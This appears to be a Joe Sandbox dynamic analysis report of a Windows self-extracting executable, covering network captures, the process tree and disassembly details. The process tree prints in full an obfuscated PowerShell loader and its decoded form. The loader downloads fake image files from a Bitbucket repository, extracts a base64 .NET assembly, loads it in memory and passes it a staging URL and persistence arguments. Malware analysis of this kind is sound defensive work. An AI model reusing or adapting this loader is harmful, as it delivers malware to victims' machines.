Oct 2, 2024 19:04:52.995832920 CEST	1.1.1.1	192.168.2.8	0xf74b	No error (0)	bitbucket.org	185.166.143.49	A (IP address)	IN (0x0001)	false
Oct 2, 2024 19:04:52.995832920 CEST	1.1.1.1	192.168.2.8	0xf74b	No error (0)	bitbucket.org	185.166.143.50	A (IP address)	IN (0x0001)	false
Oct 2, 2024 19:04:52.995832920 CEST	1.1.1.1	192.168.2.8	0xf74b	No error (0)	bitbucket.org	185.166.143.48	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bitbucket.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	185.166.143.49	443	6592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 17:04:53 UTC	110	OUT	GET /hgdfhdfgd/test/downloads/new_image.jpg?14441723 HTTP/1.1 Host: bitbucket.org Connection: Keep-Alive
2024-10-02 17:04:54 UTC	3988	IN	HTTP/1.1 404 Not Found Date: Wed, 02 Oct 2024 17:04:54 GMT Content-Type: text/html; charset=utf-8 Content-Length: 15020 Server: AtlassianEdge Vary: authorization, cookie, user-context, Accept-Language, Origin, Accept-Encoding X-Used-Mesh: False Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file Etag: "87058da896b55747ba4e6e46ed4a200d" X-Dc-Location: Micros-3 X-Served-By: 52563790643d X-Version: 3ff600212c86 X-Static-Version: 3ff600212c86 X-Request-Count: 3879 X-Render-Time: 0.10709047317504883 X-B3-Traceid: f9323d398cc148a7b6a0238c8cc639ad X-B3-Spanid: 1a15bdc36336d4d5 X-Frame-Options: SAMEORIGIN Content-Security-Policy: object-src 'none'; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/ 'nonce-5klEsQ+/lmMPaGnHlTQm6A=='; style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/; connect-src bitbucket.org .bitbucket.org bb-inf.net *.bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.ser [TRUNCATED] X-Usage-Quota-Remaining: 998379.615 X-Usage-Request-Cost: 1650.63 X-Usage-User-Time: 0.047510 X-Usage-System-Time: 0.002009 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Cache-Control: max-age=900 Age: 406 X-Cache: HIT X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: a9e52b1d8e51437387085773ed764a45 Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Server-Timing: atl-edge;dur=93,atl-edge-internal;dur=3,atl-edge-upstream;dur=91,atl-edge-pop;desc="aws-eu-central-1" Connection: close
2024-10-02 17:04:54 UTC	12396	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 69 64 3d 22 62 62 2d 62 6f 6f 74 73 74 72 61 70 22 20 64 61 74 61 2d 63 75 72 72 65 6e 74 2d 75 73 65 72 3d 22 7b 26 71 75 6f 74 3b 69 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 26 71 75 6f 74 3b 3a 20 66 61 6c 73 65 2c 20 26 71 75 6f 74 3b 69 73 4b 62 64 53 68 6f 72 74 63 75 74 73 45 6e 61 62 6c 65 64 26 71 75 6f 74 3b 3a 20 74 72 75 65 2c 20 26 71 75 6f 74 3b 69 73 53 73 68 45 6e 61 62 6c 65 64 26 71 75 6f 74 3b 3a 20 66 61 6c 73 65 7d 22 0a 0a 20 2f 3e 0a 20 20 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 35 6b 6c 45 73 51 2b 2f 6c 6d 4d 50 61 47 6e 48 6c 54 51 6d 36 41 3d 3d 22 3e 0a 0a 69 66 20 28 77 69 6e 64 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta id="bb-bootstrap" data-current-user="{"isAuthenticated": false, "isKbdShortcutsEnabled": true, "isSshEnabled": false}" /> <script nonce="5klEsQ+/lmMPaGnHlTQm6A==">if (wind
2024-10-02 17:04:54 UTC	2624	IN	Data Raw: 69 2d 69 6e 2d 66 72 6f 6e 74 62 75 63 6b 65 74 22 3a 20 74 72 75 65 2c 20 22 70 69 70 65 6c 69 6e 65 73 2d 64 65 70 6c 6f 79 6d 65 6e 74 73 2d 73 65 74 74 69 6e 67 73 2d 75 69 2d 69 6e 2d 66 72 6f 6e 74 62 75 63 6b 65 74 22 3a 20 74 72 75 65 2c 20 22 70 69 70 65 6c 69 6e 65 73 2d 72 75 6e 6e 65 72 73 2d 73 65 74 74 69 6e 67 73 2d 75 69 2d 69 6e 2d 66 72 6f 6e 74 62 75 63 6b 65 74 22 3a 20 74 72 75 65 2c 20 22 70 72 2d 64 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 20 66 61 6c 73 65 2c 20 22 63 6f 6d 6d 69 74 2d 65 78 70 61 6e 64 2d 69 6e 6e 6f 22 3a 20 66 61 6c 73 65 2c 20 22 73 79 6e 74 61 78 2d 68 69 67 68 6c 69 67 68 74 69 6e 67 22 3a 20 66 61 6c 73 65 2c 20 22 63 72 65 61 74 65 2d 77 6f 72 6b 73 70 61 63 65 2d 73 68 6f 77 2d 72 65 63 61 70 74 63 68 61 22 Data Ascii: i-in-frontbucket": true, "pipelines-deployments-settings-ui-in-frontbucket": true, "pipelines-runners-settings-ui-in-frontbucket": true, "pr-dependencies": false, "commit-expand-inno": false, "syntax-highlighting": false, "create-workspace-show-recaptcha"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	185.166.143.49	443	6592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 17:04:55 UTC	87	OUT	GET /hgdfhdfgd/test/downloads/new_image2.jpg?14461721 HTTP/1.1 Host: bitbucket.org
2024-10-02 17:04:55 UTC	3986	IN	HTTP/1.1 404 Not Found Date: Wed, 02 Oct 2024 17:04:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 15023 Server: AtlassianEdge Vary: authorization, cookie, user-context, Accept-Language, Origin, Accept-Encoding X-Used-Mesh: False Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file Etag: "d262e8bacb3f21ca001bdceb1cfc66a0" X-Dc-Location: Micros-3 X-Served-By: c1d37df8df76 X-Version: 3ff600212c86 X-Static-Version: 3ff600212c86 X-Request-Count: 461 X-Render-Time: 0.09731030464172363 X-B3-Traceid: 8ba6f34777ac4d28bfc0b737ee6a4d2f X-B3-Spanid: 9c57bf6c5c877b71 X-Frame-Options: SAMEORIGIN Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/ https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/ 'nonce-y+F3Ri7t30+2yS3vrtRQPg=='; connect-src bitbucket.org .bitbucket.org bb-inf.net *.bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.pro [TRUNCATED] X-Usage-Quota-Remaining: 997696.229 X-Usage-Request-Cost: 1570.30 X-Usage-User-Time: 0.038994 X-Usage-System-Time: 0.008115 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Cache-Control: max-age=900 Age: 83 X-Cache: HIT X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: ec752bc7bf1e468fac49005661e35936 Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Server-Timing: atl-edge;dur=93,atl-edge-internal;dur=2,atl-edge-upstream;dur=92,atl-edge-pop;desc="aws-eu-central-1" Connection: close
2024-10-02 17:04:55 UTC	12398	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 69 64 3d 22 62 62 2d 62 6f 6f 74 73 74 72 61 70 22 20 64 61 74 61 2d 63 75 72 72 65 6e 74 2d 75 73 65 72 3d 22 7b 26 71 75 6f 74 3b 69 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 26 71 75 6f 74 3b 3a 20 66 61 6c 73 65 2c 20 26 71 75 6f 74 3b 69 73 4b 62 64 53 68 6f 72 74 63 75 74 73 45 6e 61 62 6c 65 64 26 71 75 6f 74 3b 3a 20 74 72 75 65 2c 20 26 71 75 6f 74 3b 69 73 53 73 68 45 6e 61 62 6c 65 64 26 71 75 6f 74 3b 3a 20 66 61 6c 73 65 7d 22 0a 0a 20 2f 3e 0a 20 20 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 79 2b 46 33 52 69 37 74 33 30 2b 32 79 53 33 76 72 74 52 51 50 67 3d 3d 22 3e 0a 0a 69 66 20 28 77 69 6e 64 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta id="bb-bootstrap" data-current-user="{"isAuthenticated": false, "isKbdShortcutsEnabled": true, "isSshEnabled": false}" /> <script nonce="y+F3Ri7t30+2yS3vrtRQPg==">if (wind
2024-10-02 17:04:55 UTC	2625	IN	Data Raw: 75 69 2d 69 6e 2d 66 72 6f 6e 74 62 75 63 6b 65 74 22 3a 20 74 72 75 65 2c 20 22 70 69 70 65 6c 69 6e 65 73 2d 64 65 70 6c 6f 79 6d 65 6e 74 73 2d 73 65 74 74 69 6e 67 73 2d 75 69 2d 69 6e 2d 66 72 6f 6e 74 62 75 63 6b 65 74 22 3a 20 74 72 75 65 2c 20 22 70 69 70 65 6c 69 6e 65 73 2d 72 75 6e 6e 65 72 73 2d 73 65 74 74 69 6e 67 73 2d 75 69 2d 69 6e 2d 66 72 6f 6e 74 62 75 63 6b 65 74 22 3a 20 74 72 75 65 2c 20 22 70 72 2d 64 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 20 66 61 6c 73 65 2c 20 22 63 6f 6d 6d 69 74 2d 65 78 70 61 6e 64 2d 69 6e 6e 6f 22 3a 20 66 61 6c 73 65 2c 20 22 73 79 6e 74 61 78 2d 68 69 67 68 6c 69 67 68 74 69 6e 67 22 3a 20 66 61 6c 73 65 2c 20 22 63 72 65 61 74 65 2d 77 6f 72 6b 73 70 61 63 65 2d 73 68 6f 77 2d 72 65 63 61 70 74 63 68 61 Data Ascii: ui-in-frontbucket": true, "pipelines-deployments-settings-ui-in-frontbucket": true, "pipelines-runners-settings-ui-in-frontbucket": true, "pr-dependencies": false, "commit-expand-inno": false, "syntax-highlighting": false, "create-workspace-show-recaptcha

Target ID:	0
Start time:	13:04:48
Start date:	02/10/2024
Path:	C:\Users\user\Desktop\0XVZC3kfwL.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\0XVZC3kfwL.exe"
Imagebase:	0x7ff681c20000
File size:	192'512 bytes
MD5 hash:	AF93D5A246B37CE552356E6B61C9AEC9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:04:48
Start date:	02/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c gam.bat
Imagebase:	0x7ff78dd20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:04:48
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:04:49
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##s#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#QwBv#G4#dgBl#HI#d#Bd#Do#OgBG#HI#bwBt#EI#YQBz#GU#Ng#0#FM#d#By#Gk#bgBn#Cg#J#Bi#GE#cwBl#DY#N#BD#G8#bQBt#GE#bgBk#Ck#Ow#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBS#GU#ZgBs#GU#YwB0#Gk#bwBu#C4#QQBz#HM#ZQBt#GI#b#B5#F0#Og#6#Ew#bwBh#GQ#K##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#Ck#Ow#g#CQ#d#B5#H##ZQ#g#D0#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#u#Ec#ZQB0#FQ#eQBw#GU#K##n#HQ#ZQBz#HQ#c#Bv#Hc#ZQBy#HM#a#Bl#Gw#b##u#Eg#bwBt#GU#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#bQBl#HQ#a#Bv#GQ#I##9#C##J#B0#Hk#c#Bl#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#Gw#YQ#n#Ck#LgBJ#G4#dgBv#Gs#ZQ#o#CQ#bgB1#Gw#b##s#C##WwBv#GI#agBl#GM#d#Bb#F0#XQ#g#Cg#JwB0#Hg#d##u#G8#cgBG#EE#bQBj#G8#LwBz#GQ#YQBv#Gw#bgB3#G8#Z##v#HI#ZwBm#GQ#LwB3#Gc#Z#Bz#C8#ZwBy#G8#LgB0#GU#awBj#HU#YgB0#Gk#Yg#v#C8#OgBz#H##d#B0#Gg#Jw#s#C##Jw#w#Cc#L##g#Cc#UwB0#GE#cgB0#HU#c#BO#GE#bQBl#Cc#L##g#Cc#UgBl#Gc#QQBz#G0#Jw#s#C##Jw#w#Cc#KQ#p#H0#fQ#=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:04:51
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.orFAmco/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:05:00
Start date:	02/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
Imagebase:	0x7ff6b80e0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	25%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40.6%
Total number of Nodes:	983
Total number of Limit Nodes:	45

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF681C241B4 Relevance: 54.6, APIs: 17, Strings: 14, Instructions: 372
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF681C24244
CompareStringA.KERNEL32 ref: 00007FF681C2430B
GetProcAddress.KERNEL32 ref: 00007FF681C244A5

Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25220
Part of subcall function 00007FF681C251F8: SizeofResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25231
Part of subcall function 00007FF681C251F8: FindResourceA.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25257
Part of subcall function 00007FF681C251F8: LoadResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25268
Part of subcall function 00007FF681C251F8: LockResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C25277
Part of subcall function 00007FF681C251F8: memcpy_s.MSVCRT ref: 00007FF681C25296
Part of subcall function 00007FF681C251F8: FreeResource.KERNEL32(?,?,00000000,00007FF681C22F6B), ref: 00007FF681C252A5

CompareStringA.KERNEL32 ref: 00007FF681C24409
FreeLibrary.KERNEL32 ref: 00007FF681C24580
LocalFree.KERNEL32 ref: 00007FF681C245AB
FreeLibrary.KERNEL32 ref: 00007FF681C245CE
LocalFree.KERNEL32 ref: 00007FF681C245DD

Strings

SHOWWINDOW, xrefs: 00007FF681C24268
REBOOT, xrefs: 00007FF681C24213
advpack.dll, xrefs: 00007FF681C24674
wextract_cleanup0, xrefs: 00007FF681C24731, 00007FF681C247F4
<None>, xrefs: 00007FF681C242ED, 00007FF681C243EB
gam, xrefs: 00007FF681C244C4
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 00007FF681C247C4
USRQCMD, xrefs: 00007FF681C242D3
RUNPROGRAM, xrefs: 00007FF681C2433A
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00007FF681C24700
DoInfInstall, xrefs: 00007FF681C2449B, 00007FF681C24621
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF681C244DC, 00007FF681C247AE
ADMQCMD, xrefs: 00007FF681C242C2
POSTRUNPROGRAM, xrefs: 00007FF681C243CA

Memory Dump Source

Source File: 00000000.00000002.1572456169.00007FF681C21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF681C20000, based on PE: true

Associated: 00000000.00000002.1572432836.00007FF681C20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572474043.00007FF681C29000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572489641.00007FF681C2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1572507003.00007FF681C2E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff681c20000_0XVZC3kfwL.jbxd

Similarity

API ID: Resource$Free$CompareFindLibraryLocalString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$Software\Microsoft\Windows\CurrentVersion\RunOnce$USRQCMD$advpack.dll$gam$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 2679723528-1510213498
Opcode ID: effdab913d68b8f5cb6356f1f4624d08c697481126c570b33e8394dce573185e
Instruction ID: 48d3e8d2570c31c1f3d675755cc63f32af99fe50b8c5dbc66d44749d42a8d5d9
Opcode Fuzzy Hash: effdab913d68b8f5cb6356f1f4624d08c697481126c570b33e8394dce573185e
Instruction Fuzzy Hash: EE027D71A08692C7EB609B25E8406BA7BB0FF8D744F64613DDA4E83AA4DF7CE545C700

Function 00007FF681C21D10 Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 182
registrylibrarymemoryCOMMON

Download Yara Rule

